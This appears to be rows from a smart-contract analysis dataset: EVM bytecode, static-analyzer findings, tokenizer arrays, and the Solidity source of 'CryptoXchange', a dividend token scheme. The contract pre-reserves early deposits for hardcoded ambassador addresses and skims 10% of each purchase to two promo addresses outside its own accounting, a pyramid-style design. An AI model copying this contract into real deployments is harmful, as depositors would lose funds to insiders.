253a565b5090565b5b80821115612536576000815560010161253b565b6001600160a01b038116811461120e57600080fd5b6000806040838503121561257757600080fd5b82356125828161254f565b946020939093013593505050565b6001600160e01b03198116811461120e57600080fd5b6000602082840312156125b857600080fd5b81356125c381612590565b9392505050565b60005b838110156125e55781810151838201526020016125cd565b838111156125f4576000848401525b50505050565b600081518084526126128160208601602086016125ca565b601f01601f19169290920160200192915050565b6020815260006125c360208301846125fa565b60006020828403121561264b57600080fd5b5035919050565b6000806040838503121561266557600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b601f8201601f191681016001600160401b03811182821017156126af576126af612674565b6040525050565b60006001600160401b038211156126cf576126cf612674565b5060051b60200190565b600082601f8301126126ea57600080fd5b813560206126f7826126b6565b604051612704828261268a565b83815260059390931b850182019282810191508684111561272457600080fd5b8286015b8481101561273f5780358352918301918301612728565b509695505050505050565b60006001600160401b0383111561276357612763612674565b60405161277a601f8501601f19166020018261268a565b80915083815284848401111561278f57600080fd5b83836020830137600060208583010152509392505050565b600082601f8301126127b857600080fd5b6125c38383356020850161274a565b600080600080600060a086880312156127df57600080fd5b85356127ea8161254f565b945060208601356127fa8161254f565b935060408601356001600160401b038082111561281657600080fd5b61282289838a016126d9565b9450606088013591508082111561283857600080fd5b61284489838a016126d9565b9350608088013591508082111561285a57600080fd5b50612867888289016127a7565b9150509295509295909350565b60006020828403121561288657600080fd5b81356001600160401b0381111561289c57600080fd5b8201601f810184136128ad57600080fd5b61164a8482356020840161274a565b6000602082840312156128ce57600080fd5b81356125c38161254f565b600080604083850312156128ec57600080fd5b82356001600160401b038082111561290357600080fd5b818501915085601f83011261291757600080fd5b81356020612924826126b6565b604051612931828261268a565b83815260059390931b850182019282810191508984111561295157600080fd5b948201945b838610156129785785356129698161254f565b82529482019490820190612956565b9650508601359250508082111561298e57600080fd5b5061299b858286016126d9565b9150509250929050565b600081518084526020808501945080840160005b838110156129d5578151875295820195908201906001016129b9565b509495945050505050565b6020815260006125c360208301846129a5565b600060208284031215612a0557600080fd5b81356001600160601b03811681146125c357600080fd5b60008060408385031215612a2f57600080fd5b8235612a3a8161254f565b915060208301358015158114612a4f57600080fd5b809150509250929050565b602080825282518282018190526000919060409081850190868401855b82811015612aae57815180516001600160a01b031685528601516001600160601b0316868501529284019290850190600101612a77565b5091979650505050505050565b60008060408385031215612ace57600080fd5b8235612ad98161254f565b91506020830135612a4f8161254f565b600080600080600060a08688031215612b0157600080fd5b8535612b0c8161254f565b94506020860135612b1c8161254f565b9350604086013592506060860135915060808601356001600160401b03811115612b4557600080fd5b612867888289016127a7565b600181811c90821680612b6557607f821691505b60208210811415612b8657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115612bea57612bea612bc1565b500190565b60008151612c018185602086016125ca565b9290920192915050565b60008251612c1d8184602087016125ca565b9190910192915050565b600060208284031215612c3957600080fd5b5051919050565b600080845481600182811c915080831680612c5c57607f831692505b6020808410821415612c7c57634e487b7160e01b86526022600452602486fd5b818015612c905760018114612ca157612cce565b60ff19861689528489019650612cce565b60008b81526020902060005b86811015612cc65781548b820152908501908301612cad565b505084890196505b505050505050612cf2612ce18286612bef565b64173539b7b760d91b815260050190565b95945050505050565b6000816000190483118215151615612d1557612d15612bc1565b500290565b634e487b7160e01b600052601260045260246000fd5b600082612d3f57612d3f612d1a565b500490565b6000600019821415612d5857612d58612bc1565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215612d8757600080fd5b81516125c38161254f565b600082821015612da457612da4612bc1565b500390565b600082612db857612db8612d1a565b500690565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206040820152670dad2e6dac2e8c6d60c31b606082015260800190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b604081526000612ea760408301856129a5565b8281036020840152612cf281856129a5565b60208082526021908201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736040820152607360f81b606082015260800190565b6001600160a01b0386811682528516602082015260a060408201819052600090612f26908301866129a5565b8281036060840152612f3881866129a5565b90508281036080840152612f4c81856125fa565b98975050505050505050565b600060208284031215612f6a57600080fd5b81516125c381612590565b600060033d1115612f8e5760046000803e5060005160e01c5b90565b600060443d1015612f9f5790565b6040516003193d81016004833e81513d6001600160401b038160248401118184111715612fce57505050505090565b8285019150815181811115612fe65750505050505090565b843d87010160208285010111156130005750505050505090565b61300f6020828601018761268a565b509095945050505050565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b6001600160a01b03868116825285166020820152604081018490526060810183905260a06080820181905260009061309c908301846125fa565b97965050505050505056fea26469706673582212200eddb0b54c77620b98f8312bb6475bf6e3b5fb74e81d1579ab354eb76d34040264736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 18613, 23777, 2094, 2475, 2278, 2692, 2509, 2050, 17914, 5243, 2546, 2683, 10322, 2629, 2546, 22203, 2475, 7875, 2487, 2278, 27814, 2581, 2546, 23632, 2629, 2497, 2581, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 12324, 1000, 9413, 2278, 14526, 24087, 1012, 14017, 1000, 1025, 12324, 1000, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 7817, 1012, 14017, 1000, 1025, 1013, 1013, 2005, 10958, 3089, 3468, 25335, 1025, 7480, 5243, 25335, 2275, 21118, 1999, 3074, 3208, 3075, 5622, 2497, 19362, 2102, 1063, 27507, 16703, 2270, 5377, 2828, 1035, 23325, 1027, 17710, 16665, 2243, 17788, 2575, 1006, 1000, 2112, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,017
0x9610724e5c2fc1add8cf9ed2351e455ba08c4db5
pragma solidity ^0.4.24; /*** * https://cryptox.market * * * * 10 % entry fee * 30 % to masternode referrals * 0 % transfer fee * Exit fee starts at 50% from contract start * Exit fee decreases over 30 days until 3% * Stays at 3% forever, thereby allowing short trades. */ contract CryptoXchange { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } modifier notGasbag() { require(tx.gasprice < 200999999999); _; } modifier antiEarlyWhale { if (address(this).balance -msg.value < whaleBalanceLimit){ require(msg.value <= maxEarlyStake); } if (depositCount_ == 0){ require(ambassadors_[msg.sender] && msg.value == 1 ether); }else if (depositCount_ < 1){ require(ambassadors_[msg.sender] && msg.value == 1 ether); }else if (depositCount_ == 2 || depositCount_==3){ require(ambassadors_[msg.sender] && msg.value == 1 ether); } _; } modifier isControlled() { require(isPremine() || isStarted()); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "CryptoX"; string public symbol = "CryptoX"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal startExitFee_ = 50; uint8 constant internal finalExitFee_ = 3; uint256 constant internal exitFeeFallDuration_ = 30 days; uint8 constant internal refferalFee_ = 30; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 100e18; uint256 public maxEarlyStake = 5 ether; uint256 public whaleBalanceLimit = 50 ether; address public owner; uint256 public startTime = 0; address promo1 = 0x54efb8160a4185cb5a0c86eb2abc0f1fcf4c3d07; address promo2 = 0x41FE3738B503cBaFD01C1Fd8DD66b7fE6Ec11b01; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => uint256) internal bonusBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; uint256 public depositCount_; mapping(address => bool) internal ambassadors_; constructor () public { //Marketing Fund ambassadors_[msg.sender]=true; //1 ambassadors_[0x3f2cc2a7c15d287dd4d0614df6338e2414d5935a]=true; //2 ambassadors_[0x41FE3738B503cBaFD01C1Fd8DD66b7fE6Ec11b01]=true; //3 ambassadors_[0x0f238601e6b61bf4abf9d34fe846c108da38936c]=true; owner = msg.sender; } function setStartTime(uint256 _startTime) public { require(msg.sender==owner && !isStarted() && now < _startTime); startTime = _startTime; } function buy(address _referredBy) antiEarlyWhale notGasbag isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , msg.sender); uint256 getmsgvalue = msg.value / 20; promo1.transfer(getmsgvalue); promo2.transfer(getmsgvalue); } function buyFor(address _referredBy, address _customerAddress) antiEarlyWhale notGasbag isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , _customerAddress); uint256 getmsgvalue = msg.value / 20; promo1.transfer(getmsgvalue); promo2.transfer(getmsgvalue); } function() antiEarlyWhale notGasbag isControlled payable public { purchaseTokens(msg.value, 0x0 , msg.sender); uint256 getmsgvalue = msg.value / 20; promo1.transfer(getmsgvalue); promo2.transfer(getmsgvalue); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); emit Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); //uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); //uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _ethereum; } function exitFee() public view returns (uint8) { if (startTime==0){ return startExitFee_; } if ( now < startTime) { return 0; } uint256 secondsPassed = now - startTime; if (secondsPassed >= exitFeeFallDuration_) { return finalExitFee_; } uint8 totalChange = startExitFee_ - finalExitFee_; uint8 currentChange = uint8(totalChange * secondsPassed / exitFeeFallDuration_); uint8 currentFee = startExitFee_- currentChange; return currentFee; } function isPremine() public view returns (bool) { return depositCount_<=3; } function isStarted() public view returns (bool) { return startTime!=0 && now > startTime; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) { uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); depositCount_++; return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101895763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461032557806306fdde031461035857806310d0ffdd146103e257806318160ddd146103fa578063226093731461040f57806323b3b70414610427578063313ce5671461043f5780633ccfd60b1461046a5780633e0a322d146104815780634b75033414610499578063544736e6146104ae57806356d399e8146104d7578063585bc281146104ec5780636284ae4114610501578063688abbf7146105165780636b2f46321461053057806370a082311461054557806378e97925146105665780638620410b1461057b5780638da5cb5b1461059057806391e33107146105c1578063949e8acd146105d657806395d89b41146105eb578063a9059cbb14610600578063caa877e714610624578063d6dda33d1461063e578063da7af32d14610653578063e4849b3214610668578063e9fad8ee14610680578063f088d54714610695578063fdb5a03e146106a9575b6004546000903430310310156101a8576003543411156101a857600080fd5b600f5415156101e7573360009081526010602052604090205460ff1680156101d7575034670de0b6b3a7640000145b15156101e257600080fd5b610269565b6001600f541015610220573360009081526010602052604090205460ff1680156101d75750670de0b6b3a764000034146101e257600080fd5b600f54600214806102335750600f546003145b15610269573360009081526010602052604090205460ff16801561025e575034670de0b6b3a7640000145b151561026957600080fd5b642ecc8899ff3a1061027a57600080fd5b6102826106be565b8061029057506102906106c8565b151561029b57600080fd5b6102a7346000336106e3565b50506007546040516014340491600160a060020a0316906108fc8315029083906000818181858888f193505050501580156102e6573d6000803e3d6000fd5b50600854604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610321573d6000803e3d6000fd5b5050005b34801561033157600080fd5b50610346600160a060020a036004351661094d565b60408051918252519081900360200190f35b34801561036457600080fd5b5061036d610988565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103a757818101518382015260200161038f565b50505050905090810190601f1680156103d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ee57600080fd5b50610346600435610a16565b34801561040657600080fd5b50610346610a49565b34801561041b57600080fd5b50610346600435610a4f565b34801561043357600080fd5b50610346600435610a94565b34801561044b57600080fd5b50610454610abd565b6040805160ff9092168252519081900360200190f35b34801561047657600080fd5b5061047f610ac2565b005b34801561048d57600080fd5b5061047f600435610b95565b3480156104a557600080fd5b50610346610bcf565b3480156104ba57600080fd5b506104c36106c8565b604080519115158252519081900360200190f35b3480156104e357600080fd5b50610346610c23565b3480156104f857600080fd5b50610346610c29565b34801561050d57600080fd5b50610454610c2f565b34801561052257600080fd5b506103466004351515610c97565b34801561053c57600080fd5b50610346610cd8565b34801561055157600080fd5b50610346600160a060020a0360043516610cdd565b34801561057257600080fd5b50610346610cf8565b34801561058757600080fd5b50610346610cfe565b34801561059c57600080fd5b506105a5610d49565b60408051600160a060020a039092168252519081900360200190f35b3480156105cd57600080fd5b50610346610d58565b3480156105e257600080fd5b50610346610d5e565b3480156105f757600080fd5b5061036d610d70565b34801561060c57600080fd5b506104c3600160a060020a0360043516602435610dca565b610346600160a060020a0360043581169060243516610ef9565b34801561064a57600080fd5b506104c36106be565b34801561065f57600080fd5b506103466110a1565b34801561067457600080fd5b5061047f6004356110a7565b34801561068c57600080fd5b5061047f61121a565b610346600160a060020a0360043516611247565b3480156106b557600080fd5b5061047f6113ee565b600f546003101590565b60006006546000141580156106de575060065442115b905090565b6000808080808080806107016106fa8c600a6114a5565b60646114d0565b96506107116106fa88601e6114a5565b955061071d87876114e7565b94506107298b886114e7565b9350610734846114f9565b9250680100000000000000008502915060008311801561075e5750600d5461075c848261158e565b115b151561076957600080fd5b600160a060020a038a1615801590610793575088600160a060020a03168a600160a060020a031614155b80156107b95750600254600160a060020a038b1660009081526009602052604090205410155b156107ff57600160a060020a038a166000908152600a60205260409020546107e1908761158e565b600160a060020a038b166000908152600a602052604090205561081a565b610809858761158e565b945068010000000000000000850291505b6000600d54111561087e57610831600d548461158e565b600d81905568010000000000000000860281151561084b57fe5b600e8054929091049091019055600d5468010000000000000000860281151561087057fe5b048302820382039150610884565b600d8390555b600160a060020a0389166000908152600960205260409020546108a7908461158e565b600160a060020a03808b16600081815260096020908152604080832095909555600e54600c909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d8642610911610cfe565b604080519485526020850193909352838301919091526060830152519081900360800190a35050600f8054600101905598975050505050505050565b600160a060020a03166000908152600c6020908152604080832054600990925290912054600e54680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a0e5780601f106109e357610100808354040283529160200191610a0e565b820191906000526020600020905b8154815290600101906020018083116109f157829003601f168201915b505050505081565b6000808080610a296106fa86600a6114a5565b9250610a3585846114e7565b9150610a40826114f9565b95945050505050565b600d5490565b600080600080600d548511151515610a6657600080fd5b610a6f8561159d565b9250610a886106fa84610a80610c2f565b60ff166114a5565b9150610a4083836114e7565b600080600d548311151515610aa857600080fd5b610ab18361159d565b90508091505b50919050565b601281565b6000806000610ad16001610c97565b11610adb57600080fd5b339150610ae86000610c97565b600160a060020a0383166000818152600c602090815260408083208054680100000000000000008702019055600a909152808220805490839055905193019350909183156108fc0291849190818181858888f19350505050158015610b51573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b600554600160a060020a031633148015610bb45750610bb26106c8565b155b8015610bbf57508042105b1515610bca57600080fd5b600655565b600080600080600d5460001415610be95760009350610c1d565b610bfa670de0b6b3a764000061159d565b9250610c0b6106fa84610a80610c2f565b9150610c1783836114e7565b90508093505b50505090565b60025481565b60035481565b600080600080600060065460001415610c4b5760329450610c90565b600654421015610c5e5760009450610c90565b6006544203935062278d008410610c785760039450610c90565b602f925062278d008484020491508160320390508094505b5050505090565b60003382610cad57610ca88161094d565b610cd1565b600160a060020a0381166000908152600a6020526040902054610ccf8261094d565b015b9392505050565b303190565b600160a060020a031660009081526009602052604090205490565b60065481565b600080600080600d5460001415610d1c576404a817c8009350610c1d565b610d2d670de0b6b3a764000061159d565b9250610d3d6106fa84600a6114a5565b9150610c17838361158e565b600554600160a060020a031681565b60045481565b600033610d6a81610cdd565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a0e5780601f106109e357610100808354040283529160200191610a0e565b6000806000610dd7610d5e565b11610de157600080fd5b5033600081815260096020526040902054831115610dfe57600080fd5b6000610e0a6001610c97565b1115610e1857610e18610ac2565b600160a060020a038116600090815260096020526040902054610e3b90846114e7565b600160a060020a038083166000908152600960205260408082209390935590861681522054610e6a908461158e565b600160a060020a03858116600081815260096020908152604080832095909555600e8054948716808452600c83528684208054968b02909603909555548383529185902080549289029092019091558351878152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3600191505b5092915050565b6000806004543430600160a060020a031631031015610f2157600354341115610f2157600080fd5b600f541515610f60573360009081526010602052604090205460ff168015610f50575034670de0b6b3a7640000145b1515610f5b57600080fd5b610fe2565b6001600f541015610f99573360009081526010602052604090205460ff168015610f505750670de0b6b3a76400003414610f5b57600080fd5b600f5460021480610fac5750600f546003145b15610fe2573360009081526010602052604090205460ff168015610fd7575034670de0b6b3a7640000145b1515610fe257600080fd5b642ecc8899ff3a10610ff357600080fd5b610ffb6106be565b8061100957506110096106c8565b151561101457600080fd5b61101f3485856106e3565b50506007546040516014340491600160a060020a0316906108fc8315029083906000818181858888f1935050505015801561105e573d6000803e3d6000fd5b50600854604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015611099573d6000803e3d6000fd5b505092915050565b600f5481565b60008060008060008060006110ba610d5e565b116110c457600080fd5b336000818152600960205260409020549096508711156110e357600080fd5b8694506110ef8561159d565b93506111006106fa85610a80610c2f565b925061110c84846114e7565b915061111a600d54866114e7565b600d55600160a060020a03861660009081526009602052604090205461114090866114e7565b600160a060020a038716600090815260096020908152604080832093909355600e54600c909152918120805492880268010000000000000000860201928390039055600d5491925010156111b6576111b2600e54600d546801000000000000000086028115156111ac57fe5b0461158e565b600e555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e8684426111ec610cfe565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b336000818152600960205260408120549081111561123b5761123b816110a7565b611243610ac2565b5050565b6000806004543430600160a060020a03163103101561126f5760035434111561126f57600080fd5b600f5415156112ae573360009081526010602052604090205460ff16801561129e575034670de0b6b3a7640000145b15156112a957600080fd5b611330565b6001600f5410156112e7573360009081526010602052604090205460ff16801561129e5750670de0b6b3a764000034146112a957600080fd5b600f54600214806112fa5750600f546003145b15611330573360009081526010602052604090205460ff168015611325575034670de0b6b3a7640000145b151561133057600080fd5b642ecc8899ff3a1061134157600080fd5b6113496106be565b8061135757506113576106c8565b151561136257600080fd5b61136d3484336106e3565b50506007546040516014340491600160a060020a0316906108fc8315029083906000818181858888f193505050501580156113ac573d6000803e3d6000fd5b50600854604051600160a060020a039091169082156108fc029083906000818181858888f193505050501580156113e7573d6000803e3d6000fd5b5050919050565b6000806000806113fe6001610c97565b1161140857600080fd5b6114126000610c97565b336000818152600c602090815260408083208054680100000000000000008702019055600a909152812080549082905590920194509250611455908490846106e3565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b6000808315156114b85760009150610ef2565b508282028284828115156114c857fe5b0414610cd157fe5b60008082848115156114de57fe5b04949350505050565b6000828211156114f357fe5b50900390565b600d546000906b204fce5e3e250261100000009082906402540be40061157b611575730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02016f96769950b50d88f413144480000000008502017704140c78940f6a24fdffc78873d4490d210000000000000001611602565b856114e7565b81151561158457fe5b0403949350505050565b600082820183811015610cd157fe5b600d54600090670de0b6b3a76400008381019181019083906115ef81840487026402540be40002600283670de0b6b3a763ffff1982890a8b900301046402540be400028115156115e957fe5b046114e7565b8115156115f857fe5b0495945050505050565b80600260018201045b81811015610ab757809150600281828581151561162457fe5b040181151561162f57fe5b04905061160b5600a165627a7a723058207e7ced7736a0edd8a6f44fe5cc42adfa9ee011ad201dd72235b0cd79b3d476d90029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
